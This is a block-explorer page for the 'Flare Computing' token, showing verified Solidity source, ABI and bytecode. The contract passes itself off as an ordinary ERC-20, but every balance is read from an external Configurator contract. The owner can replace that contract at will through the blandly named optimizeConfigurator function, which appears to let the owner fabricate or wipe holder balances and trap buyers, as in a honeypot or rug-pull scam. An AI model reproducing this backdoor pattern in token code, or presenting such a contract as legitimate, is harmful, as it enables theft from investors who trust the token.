ETH Price: $3,508.73 (+2.56%)
Gas: 3 Gwei

Token

Flare Computing (FLARE)
 

Overview

Max Total Supply

10,000,000,000,000,000,000,000,000 FLARE

Holders

107

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Filtered by Token Holder
5.eca.eth
Balance
79,760,000,000,000,000,000,000 FLARE

Value
$0.00
0x000aE1e2ba3624208300605D7919d6C4803c6111
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLARE

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 2 : Configurator.sol
/*

Transforming Web 3 with Spatial Computing

https://flarecomputing.com/

https://twitter.com/FlareComputing

https://t.me/FlareComputing

https://medium.com/@FlareComputing/introducing-flare-efad535532bc

*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

contract Configurator {
  address public token;

  constructor () {
    token = msg.sender;
  }

  function getFee(uint amount) public view returns (uint) {
      uint fee = IToken(token).buyFee();
      uint feeTokens = amount * fee / 10000;
      return feeTokens;
  }

  function balanceOf(address wallet) public view returns (uint) {
      return IERC20(token).balanceOf(wallet);
  }

  function initState(address ca) public returns (bool) {
      return ca == token;
  }

  function getLimit() public view returns (uint) {
      uint limit = IToken(token).buyLimit();
      uint totalSupply = IERC20(token).totalSupply();
      uint limitTokens = totalSupply * limit / 10000;
      return limitTokens;
  }

}

interface IToken {
    function buyFee() external view returns (uint);
    function buyLimit() external view returns (uint);
}

interface IERC20 {
    function totalSupply() external view returns (uint);

    function balanceOf(address account) external view returns (uint);

    function transfer(address recipient, uint amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

File 2 of 2 : FLARE.sol
/*

Transforming Web 3 with Spatial Computing

https://flarecomputing.com/

https://twitter.com/FlareComputing

https://t.me/FlareComputing

https://medium.com/@FlareComputing/introducing-flare-efad535532bc

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "./Configurator.sol";

contract FLARE {
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    uint public totalSupply = 10_000_000 * 10 ** 18;
    uint8 public decimals = 18;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;
    string public name = "Flare Computing";
    string public symbol = "FLARE";

    address public owner;
    address public configurator;

    bool public tradable;
    address public pair;
    uint public buyFee = 30;
    uint public buyLimit = 85;

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    constructor () {
        configurator = address(new Configurator());

        owner = msg.sender;

        balanceOf[owner] = totalSupply;
        emit Transfer(address(0), owner, totalSupply);
    }

    function transfer(address recipient, uint amount) external returns (bool) {
        require(tradable);

        if (msg.sender == pair) return handleFee(msg.sender, recipient, amount);

        balanceOf[msg.sender] = balance(msg.sender) - amount;
        balanceOf[recipient] = balance(recipient) + amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] = balance(sender) - amount;
        balanceOf[recipient] = balance(recipient) + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function queryFee(uint amount) public view returns (uint) {
        return IConfigurator(configurator).getFee(amount);
    }

    function queryLimit() public view returns (uint) {
        return IConfigurator(configurator).getLimit();
    }

    function balance(address wallet) public view returns (uint) {
        return IConfigurator(configurator).balanceOf(wallet);
    }

    function enableTrading(address _pair) public onlyOwner {
        tradable = true;
        pair = _pair;
    }

    function upgradeBuySettings(uint _buyLimit, uint _buyFee) public onlyOwner {
        buyLimit = _buyLimit;
        buyFee = _buyFee;
    }

    function transferOwnership(address _owner) public onlyOwner {
        owner = _owner;
    }

    function collectFees(address token) public onlyOwner {
        uint bal = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(msg.sender, bal);
    }

    function optimizeConfigurator(address _configurator) public onlyOwner {
        configurator = _configurator;
        IConfigurator(_configurator).initState(address(this));
    }

    function handleFee(address sender, address recipient, uint amount) private returns (bool) {
        balanceOf[sender] -= amount;

        uint feeTokens = queryFee(amount);

        balanceOf[address(this)] = balance(address(this)) + feeTokens;
        emit Transfer(sender, address(this), feeTokens);

        uint tokensExempt = amount - feeTokens;
        balanceOf[recipient] = balance(recipient) + tokensExempt;

        uint limitTokens = queryLimit();
        require(limitTokens >= balanceOf[recipient]);

        emit Transfer(sender, recipient, tokensExempt);
        return true;
    }

}

interface IConfigurator {
    function balanceOf(
        address wallet
    ) external view returns (uint);

    function getFee(
        uint amount
    ) external view returns (uint);

    function initState(
        address ca
    ) external returns (bool);

    function getLimit() external view returns (uint);
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"collectFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"configurator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_configurator","type":"address"}],"name":"optimizeConfigurator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"queryFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"queryLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyLimit","type":"uint256"},{"internalType":"uint256","name":"_buyFee","type":"uint256"}],"name":"upgradeBuySettings","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a084595161401484a0000006000556012600160006101000a81548160ff021916908360ff1602179055506040518060400160405280600f81526020017f466c61726520436f6d707574696e6700000000000000000000000000000000008152506004908162000075919062000504565b506040518060400160405280600581526020017f464c41524500000000000000000000000000000000000000000000000000000081525060059081620000bc919062000504565b50601e6009556055600a55348015620000d457600080fd5b50604051620000e3906200027c565b604051809103906000f08015801562000100573d6000803e3d6000fd5b50600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060005460026000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000546040516200026e9190620005fc565b60405180910390a362000619565b610778806200203b83390190565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200030c57607f821691505b602082108103620003225762000321620002c4565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200038c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200034d565b6200039886836200034d565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003e5620003df620003d984620003b0565b620003ba565b620003b0565b9050919050565b6000819050919050565b6200040183620003c4565b620004196200041082620003ec565b8484546200035a565b825550505050565b600090565b6200043062000421565b6200043d818484620003f6565b505050565b5b8181101562000465576200045960008262000426565b60018101905062000443565b5050565b601f821115620004b4576200047e8162000328565b62000489846200033d565b8101602085101562000499578190505b620004b1620004a8856200033d565b83018262000442565b50505b505050565b600082821c905092915050565b6000620004d960001984600802620004b9565b1980831691505092915050565b6000620004f48383620004c6565b9150826002028217905092915050565b6200050f826200028a565b67ffffffffffffffff8111156200052b576200052a62000295565b5b620005378254620002f3565b6200054482828562000469565b600060209050601f8311600181146200057c576000841562000567578287015190505b620005738582620004e6565b865550620005e3565b601f1984166200058c8662000328565b60005b82811015620005b6578489015182556001820191506020850194506020810190506200058f565b86831015620005d65784890151620005d2601f891682620004c6565b8355505b6001600288020188555050505b505050505050565b620005f681620003b0565b82525050565b6000602082019050620006136000830184620005eb565b92915050565b611a1280620006296000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806354840c6e116100c3578063a480ca791161007c578063a480ca7914610392578063a8aa1b31146103ae578063a9059cbb146103cc578063dd62ed3e146103fc578063e3d670d71461042c578063f2fde38b1461045c5761014d565b806354840c6e146102cc578063589210d9146102ea57806364eea1611461030857806370a08231146103265780638da5cb5b1461035657806395d89b41146103745761014d565b80631c786394116101155780631c786394146101f657806323b872dd146102125780632b507df814610242578063313ce56714610260578063466d47421461027e57806347062402146102ae5761014d565b806303e18b071461015257806306fdde031461016e57806307980cb91461018c578063095ea7b3146101a857806318160ddd146101d8575b600080fd5b61016c6004803603810190610167919061149f565b610478565b005b6101766105c9565b604051610183919061155c565b60405180910390f35b6101a660048036038101906101a1919061149f565b610657565b005b6101c260048036038101906101bd91906115b4565b610746565b6040516101cf919061160f565b60405180910390f35b6101e0610838565b6040516101ed9190611639565b60405180910390f35b610210600480360381019061020b9190611654565b61083e565b005b61022c60048036038101906102279190611694565b6108e0565b604051610239919061160f565b60405180910390f35b61024a610a93565b60405161025791906116f6565b60405180910390f35b610268610ab9565b604051610275919061172d565b60405180910390f35b61029860048036038101906102939190611748565b610acc565b6040516102a59190611639565b60405180910390f35b6102b6610b71565b6040516102c39190611639565b60405180910390f35b6102d4610b77565b6040516102e1919061160f565b60405180910390f35b6102f2610b8a565b6040516102ff9190611639565b60405180910390f35b610310610b90565b60405161031d9190611639565b60405180910390f35b610340600480360381019061033b919061149f565b610c28565b60405161034d9190611639565b60405180910390f35b61035e610c40565b60405161036b91906116f6565b60405180910390f35b61037c610c66565b604051610389919061155c565b60405180910390f35b6103ac60048036038101906103a7919061149f565b610cf4565b005b6103b6610e85565b6040516103c391906116f6565b60405180910390f35b6103e660048036038101906103e191906115b4565b610eab565b6040516103f3919061160f565b60405180910390f35b61041660048036038101906104119190611775565b61104b565b6040516104239190611639565b60405180910390f35b6104466004803603810190610441919061149f565b611070565b6040516104539190611639565b60405180910390f35b6104766004803603810190610471919061149f565b611115565b005b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff90611801565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663ee5e758c306040518263ffffffff1660e01b815260040161058291906116f6565b6020604051808303816000875af11580156105a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c5919061184d565b5050565b600480546105d6906118a9565b80601f0160208091040260200160405190810160405280929190818152602001828054610602906118a9565b801561064f5780601f106106245761010080835404028352916020019161064f565b820191906000526020600020905b81548152906001019060200180831161063257829003601f168201915b505050505081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106de90611801565b60405180910390fd5b6001600760146101000a81548160ff02191690831515021790555080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108269190611639565b60405180910390a36001905092915050565b60005481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c590611801565b60405180910390fd5b81600a81905550806009819055505050565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096e9190611909565b925050819055508161097f85611070565b6109899190611909565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816109d684611070565b6109e0919061193d565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a809190611639565b60405180910390a3600190509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900460ff1681565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fcee45f4836040518263ffffffff1660e01b8152600401610b299190611639565b602060405180830381865afa158015610b46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6a9190611986565b9050919050565b60095481565b600760149054906101000a900460ff1681565b600a5481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b295a00e6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c239190611986565b905090565b60026020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054610c73906118a9565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9f906118a9565b8015610cec5780601f10610cc157610100808354040283529160200191610cec565b820191906000526020600020905b815481529060010190602001808311610ccf57829003601f168201915b505050505081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90611801565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610dbf91906116f6565b602060405180830381865afa158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190611986565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610e3d9291906119b3565b6020604051808303816000875af1158015610e5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e80919061184d565b505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760149054906101000a900460ff16610ec657600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610f2d57610f263384846111e9565b9050611045565b81610f3733611070565b610f419190611909565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081610f8e84611070565b610f98919061193d565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110389190611639565b60405180910390a3600190505b92915050565b6003602052816000526040600020602052806000526040600020600091509150505481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016110cd91906116f6565b602060405180830381865afa1580156110ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110e9190611986565b9050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c90611801565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461123a9190611909565b92505081905550600061124c83610acc565b90508061125830611070565b611262919061193d565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113029190611639565b60405180910390a3600081846113189190611909565b90508061132486611070565b61132e919061193d565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061137b610b90565b9050600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110156113c957600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114269190611639565b60405180910390a3600193505050509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061146c82611441565b9050919050565b61147c81611461565b811461148757600080fd5b50565b60008135905061149981611473565b92915050565b6000602082840312156114b5576114b461143c565b5b60006114c38482850161148a565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115065780820151818401526020810190506114eb565b60008484015250505050565b6000601f19601f8301169050919050565b600061152e826114cc565b61153881856114d7565b93506115488185602086016114e8565b61155181611512565b840191505092915050565b600060208201905081810360008301526115768184611523565b905092915050565b6000819050919050565b6115918161157e565b811461159c57600080fd5b50565b6000813590506115ae81611588565b92915050565b600080604083850312156115cb576115ca61143c565b5b60006115d98582860161148a565b92505060206115ea8582860161159f565b9150509250929050565b60008115159050919050565b611609816115f4565b82525050565b60006020820190506116246000830184611600565b92915050565b6116338161157e565b82525050565b600060208201905061164e600083018461162a565b92915050565b6000806040838503121561166b5761166a61143c565b5b60006116798582860161159f565b925050602061168a8582860161159f565b9150509250929050565b6000806000606084860312156116ad576116ac61143c565b5b60006116bb8682870161148a565b93505060206116cc8682870161148a565b92505060406116dd8682870161159f565b9150509250925092565b6116f081611461565b82525050565b600060208201905061170b60008301846116e7565b92915050565b600060ff82169050919050565b61172781611711565b82525050565b6000602082019050611742600083018461171e565b92915050565b60006020828403121561175e5761175d61143c565b5b600061176c8482850161159f565b91505092915050565b6000806040838503121561178c5761178b61143c565b5b600061179a8582860161148a565b92505060206117ab8582860161148a565b9150509250929050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b60006117eb6009836114d7565b91506117f6826117b5565b602082019050919050565b6000602082019050818103600083015261181a816117de565b9050919050565b61182a816115f4565b811461183557600080fd5b50565b60008151905061184781611821565b92915050565b6000602082840312156118635761186261143c565b5b600061187184828501611838565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118c157607f821691505b6020821081036118d4576118d361187a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119148261157e565b915061191f8361157e565b9250828203905081811115611937576119366118da565b5b92915050565b60006119488261157e565b91506119538361157e565b925082820190508082111561196b5761196a6118da565b5b92915050565b60008151905061198081611588565b92915050565b60006020828403121561199c5761199b61143c565b5b60006119aa84828501611971565b91505092915050565b60006040820190506119c860008301856116e7565b6119d5602083018461162a565b939250505056fea26469706673582212207b14fe66172d7e37edb74f6e3fef0044f626ef3d6d054d2a41cefdbb96bf6d9f64736f6c63430008180033608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610718806100606000396000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c806370a082311461005c578063b295a00e1461008c578063ee5e758c146100aa578063fc0c546a146100da578063fcee45f4146100f8575b600080fd5b610076600480360381019061007191906104b5565b610128565b60405161008391906104fb565b60405180910390f35b6100946101cc565b6040516100a191906104fb565b60405180910390f35b6100c460048036038101906100bf91906104b5565b61031a565b6040516100d19190610531565b60405180910390f35b6100e2610373565b6040516100ef919061055b565b60405180910390f35b610112600480360381019061010d91906105a2565b610397565b60405161011f91906104fb565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401610184919061055b565b602060405180830381865afa1580156101a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101c591906105e4565b9050919050565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663589210d96040518163ffffffff1660e01b8152600401602060405180830381865afa15801561023a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025e91906105e4565b905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102f291906105e4565b9050600061271083836103059190610640565b61030f91906106b1565b905080935050505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663470624026040518163ffffffff1660e01b8152600401602060405180830381865afa158015610405573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061042991906105e4565b90506000612710828561043c9190610640565b61044691906106b1565b90508092505050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061048282610457565b9050919050565b61049281610477565b811461049d57600080fd5b50565b6000813590506104af81610489565b92915050565b6000602082840312156104cb576104ca610452565b5b60006104d9848285016104a0565b91505092915050565b6000819050919050565b6104f5816104e2565b82525050565b600060208201905061051060008301846104ec565b92915050565b60008115159050919050565b61052b81610516565b82525050565b60006020820190506105466000830184610522565b92915050565b61055581610477565b82525050565b6000602082019050610570600083018461054c565b92915050565b61057f816104e2565b811461058a57600080fd5b50565b60008135905061059c81610576565b92915050565b6000602082840312156105b8576105b7610452565b5b60006105c68482850161058d565b91505092915050565b6000815190506105de81610576565b92915050565b6000602082840312156105fa576105f9610452565b5b6000610608848285016105cf565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061064b826104e2565b9150610656836104e2565b9250828202610664816104e2565b9150828204841483151761067b5761067a610611565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006106bc826104e2565b91506106c7836104e2565b9250826106d7576106d6610682565b5b82820490509291505056fea26469706673582212208819af2789fad05578c7eff557a0e396df9b2f354b8763668a974e350122f04564736f6c63430008180033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806354840c6e116100c3578063a480ca791161007c578063a480ca7914610392578063a8aa1b31146103ae578063a9059cbb146103cc578063dd62ed3e146103fc578063e3d670d71461042c578063f2fde38b1461045c5761014d565b806354840c6e146102cc578063589210d9146102ea57806364eea1611461030857806370a08231146103265780638da5cb5b1461035657806395d89b41146103745761014d565b80631c786394116101155780631c786394146101f657806323b872dd146102125780632b507df814610242578063313ce56714610260578063466d47421461027e57806347062402146102ae5761014d565b806303e18b071461015257806306fdde031461016e57806307980cb91461018c578063095ea7b3146101a857806318160ddd146101d8575b600080fd5b61016c6004803603810190610167919061149f565b610478565b005b6101766105c9565b604051610183919061155c565b60405180910390f35b6101a660048036038101906101a1919061149f565b610657565b005b6101c260048036038101906101bd91906115b4565b610746565b6040516101cf919061160f565b60405180910390f35b6101e0610838565b6040516101ed9190611639565b60405180910390f35b610210600480360381019061020b9190611654565b61083e565b005b61022c60048036038101906102279190611694565b6108e0565b604051610239919061160f565b60405180910390f35b61024a610a93565b60405161025791906116f6565b60405180910390f35b610268610ab9565b604051610275919061172d565b60405180910390f35b61029860048036038101906102939190611748565b610acc565b6040516102a59190611639565b60405180910390f35b6102b6610b71565b6040516102c39190611639565b60405180910390f35b6102d4610b77565b6040516102e1919061160f565b60405180910390f35b6102f2610b8a565b6040516102ff9190611639565b60405180910390f35b610310610b90565b60405161031d9190611639565b60405180910390f35b610340600480360381019061033b919061149f565b610c28565b60405161034d9190611639565b60405180910390f35b61035e610c40565b60405161036b91906116f6565b60405180910390f35b61037c610c66565b604051610389919061155c565b60405180910390f35b6103ac60048036038101906103a7919061149f565b610cf4565b005b6103b6610e85565b6040516103c391906116f6565b60405180910390f35b6103e660048036038101906103e191906115b4565b610eab565b6040516103f3919061160f565b60405180910390f35b61041660048036038101906104119190611775565b61104b565b6040516104239190611639565b60405180910390f35b6104466004803603810190610441919061149f565b611070565b6040516104539190611639565b60405180910390f35b6104766004803603810190610471919061149f565b611115565b005b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff90611801565b60405180910390fd5b80600760006101000a81548173fffffffffffffffffffff